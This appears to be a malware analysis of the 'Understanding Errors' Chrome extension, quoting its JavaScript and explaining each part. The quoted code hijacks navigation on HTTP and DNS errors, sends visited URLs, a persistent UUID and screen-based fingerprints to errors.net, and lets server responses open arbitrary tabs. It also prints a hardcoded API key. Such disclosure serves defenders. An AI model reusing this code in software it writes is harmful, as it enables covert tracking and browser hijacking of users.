Understanding Errors

On any HTTP 4xx/5xx response for a top-level navigation across all hosts, the worker silently closes the user's tab (`chrome.tabs.remove`) and opens a new tab pointing at attacker-controlled `errors.net/error/` with the full original URL, status code, license key, and persistent user UUID embedded in the query string. This is network interception / navigation hijacking on every site the user visits, combined with exfiltration of the visited URL to a third party.

async function handleHeadersReceived(e) {  const {    errorpages: t,    uuid: r  } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url)    .hostname);  "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs    .create({      url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}`    }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }))}

On any DNS resolution failure for a main-frame navigation, the extension redirects the user's current tab to `errors.net/error/` with the full failed URL and the persistent UUID. Any typo, captive-portal failure, or offline state silently delivers the user's intended URL to a third-party server tied to a stable identifier.

async function handleErrorOccurred(e) {  if (e.error.includes("RESOLVE")) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e        .url)      .hostname);    o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }), chrome.tabs.update({      url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}`    })  }}

Every page load on every domain triggers a POST to `errors.net/performance/` carrying the user's persistent UUID, full navigation timing, and window/screen dimension fingerprint. The remote response is then acted upon to open new tabs (`a.notice`) or windows (`a.alert`), giving the server arbitrary ability to drive navigations / popups in the user's browser.

async function perf(e) {  const t = await fetch(`https://errors.net/performance/?license=${apikey}`, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(e)  });  return await t.json()}

The JSON response from the remote `errors.net/performance/` endpoint is passed directly into `chrome.tabs.create()` / `chrome.windows.create()`. The server can therefore command the extension to open arbitrary URLs in the user's browser at any time — a server-controlled navigation/popup channel suitable for ad injection, phishing redirects, or pushing malicious pages.

a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)}

On install, the extension generates a persistent UUID stored in `chrome.storage.sync` (synced across the user's Chrome profiles) and immediately phones home with it to `understandingerrors.com/thankyou/?uuid=...`. That UUID is then attached to every subsequent performance POST and every error-page redirect, forming a stable cross-site tracking identifier.

chrome.runtime.onInstalled.addListener((async e => {  const {    uuid: t  } = await chrome.storage.sync.get("uuid");  if (void 0 === t) {    const t = generateUUID();    await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: []      }),      uuid: t    }), "install" === e.reason && chrome.tabs.update({      url: `https://understandingerrors.com/thankyou/?uuid=${t.toString()}`    })  }}));

The content script (injected into every http(s) page) collects window/screen geometry — `screenTop`, `screenLeft`, `outerHeight/Width`, `innerHeight/Width` — and forwards it to the worker for transmission to `errors.net`. These dimensions plus navigation timings serve as a high-entropy browser fingerprint, far beyond what is needed to display performance metrics in the popup.

const r = o.toFixed(i)  .substring(0, n ? 3 : 4),  d = {    offset: {      x: screenTop + (outerHeight - innerHeight),      y: screenLeft + (outerWidth - innerWidth)    },    details: {      x: screenTop,      y: screenLeft,      oh: outerHeight,      ih: innerHeight,      ow: outerWidth,      iw: innerWidth    }  };chrome.runtime.sendMessage({  time: r,  timing: t,  dimensions: d})

A hardcoded `license` API key is shipped in the extension and attached to every outbound request to `errors.net`, identifying this extension's traffic on the server. Combined with the per-user UUID, this enables the operator to attribute every page load and every visited URL to a specific install of this specific extension.

const apikey = "woD72fu0hxHoeggtPkGH9BabPAQP0sEHW98p5Gqe";